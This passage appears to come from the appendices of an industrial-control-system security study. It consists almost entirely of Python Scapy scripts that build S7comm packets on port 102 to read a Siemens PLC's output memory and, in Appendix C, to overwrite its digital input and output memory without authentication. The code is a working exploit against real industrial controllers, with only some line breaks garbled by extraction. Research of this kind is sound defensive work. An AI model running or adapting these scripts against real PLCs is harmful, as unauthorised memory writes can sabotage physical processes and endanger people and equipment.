#\x03\x00\x00\x1f\x02\xf0\x80\x32\x01\x00\x00\x01\x00\x00\x0e\x00\x00 
#\x04 READ VARIABLE 
#\x01\x12\x0a\x10\x02 
#\x00\x01 LENGTH 
#\x00\x00 
#\x82 Q MEMORY - CHANGE FOR \x81 WHEN READING THE INPUT MEMORY. 
EXAMPLE SHOWED BELOW IN THE VARIABLE CALLED sensor_input 
#\x00\x00\x08 ADDRESS 
header=TCP(sport=sport, dport=102, flags='PA', seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40)  
#------------------------------PAYLOAD FOR SPACE OF MEMORY Q 1.0----------------------
------------- 
sensor = 
"\x03\x00\x00\x1f\x02\xf0\x80\x32\x01\x00\x00\x01\x00\x00\x0e\x00\x00
\x04\x01\x12\x0a\x10\x02\x00\x01\x00\x00\x82\x00\x00\x08" 
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#sensor_input = 
"\x03\x00\x00\x1f\x02\xf0\x80\x32\x01\x00\x00\x01\x00\x00\x0e\x00\x00
\x04\x01\x12\x0a\x10\x02\x00\x01\x00\x00\x81\x00\x00\x08" 
 
rsp_1 = sr1(ip/header/sensor) 
s71PA=TCP(sport=sport,dport=102,flags='A',seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40) 
send(ip/s71PA) 
#----------------------------------------PRINTING RESPONSE------------------------------------
----- 
len_request = len(sensor) 
if (sensor[len_request-4:len_request-3].encode("HEX"))=='82': 
    print ("Reading: Digital Output Memory") 
    #print ("Byte Address: " + str(int(ultrasonic[len_request-
1:len_request].encode("HEX"),16)/8)) 
    print ("Memory Addressed: Q " + str(int(sensor[len_request-
1:len_request].encode("HEX"),16)/8) + ".0") 
load_len = len(rsp_1.load.encode("HEX")) 
print ("Value (HEX): " + str(rsp_1.load.encode("HEX")[load_len-1:load_len]) + ", 
Value (INT): " + str(int(rsp_1.load.encode("HEX")[load_len-1:load_len],16))) 
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Appendix C: Code for overwriting the digital input memory of 
the PLC 

#!/usr/local/bin/python 
#WRITING THE DIGITAL INPUT/OUTPUT MEMORY OF THE PLC 
import sys 
from scapy.all import * 
from binascii import unhexlify 
sport= random.randint(1024,2000) 
#SYN 
ip=IP(src='192.168.0.2',dst='192.168.0.1',proto=6,flags=2) 
SYN=TCP(sport=sport,dport=102,flags='S') 
SYNACK=sr1(ip/SYN) 
#ACK 
ACK=TCP(sport=sport,dport=102,flags='A',seq=1,ack=SYNACK.seq+1) 
send(ip/ACK) 
#CONNECTION REQUEST 
header_1= TCP(sport=sport, dport=102, flags='PA', seq=1, ack=SYNACK.seq+1) 
protocol="\x03\x00\x00\x16\x11\xe0\x00\x00\x00\x01\x00\xc0\x01\x0a\xc1
\x02\x01\x00\xc2\x02\x01\x01" 
rsp_1 = sr1(ip/header_1/protocol) 
#SETUP COMMUNICATION 
header_2 = TCP(sport=sport, dport=102, flags='PA', seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40) 
proto_2="\x03\x00\x00\x19\x02\xf0\x80\x32\x01\x00\x00\x00\x00\x00\x08
\x00\x00\xf0\x00\x00\x01\x00\x01\x01\xe0" 
rsp_1 = sr1(ip/header_2/proto_2) 
#SENDING ACK 
s71PA=TCP(sport=sport,dport=102,flags='A',seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40) 
 
#\x03\x00\x00\x24\x02\xf0\x80\x32\x01\x00\x00\x02\x00\x00\x0e\x00\x0
5\ 
#x05 WRITE VARIABLE 
#\x01\x12\x0a\x10\x02\ 
#x00\x01 LENGTH 
#\x00\x00 
#\x82 OUTPUT MEMORY, CHANGE TO \x81 FOR INPUT MEMORY. FOR INSTANCE 
THE VARIABLE CALLED sensor_input SHOWS A PAYLOAD FOR THE INPUT 
MEMORY. 
#\x00\x00\x08\x00 
#\x04 TRANSPORT SIZE 
#\x00\x08 LENGTH 
#\x08 VALUE 
 
header=TCP(sport=sport, dport=102, flags='PA', seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40)  
#------------------------------PAYLOAD FOR SPACE OF MEMORY Q 1.3----------------------
------------- 
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sensor = 
"\x03\x00\x00\x24\x02\xf0\x80\x32\x01\x00\x00\x02\x00\x00\x0e\x00\x0
5\x05\x01\x12\x0a\x10\x02\x00\x01\x00\x00\x82\x00\x00\x08\x00\x04\x0
0\x08\x08" 
#------------------------------PAYLOAD FOR SPACE OF MEMORY I 0.2-----------------------
------------ 
#sensor_input = "\x03\x00\x00\x24\x02\xf0\x80\x32\x01\x00\x00 
\x02\x00\x00\x0e\x00\x05\x05\x01\x12\x0a\x10\x02\x00\x01\x00\x00\x81
\x00\x00\x08\x00\x04\x00\x08\x2b" 
 
rsp_1 = sr1(ip/header/sensor) 
 
s71PA=TCP(sport=sport,dport=102,flags='A',seq=rsp_1.ack, 
ack=rsp_1.len+rsp_1.seq-40) 
send(ip/s71PA) 
 




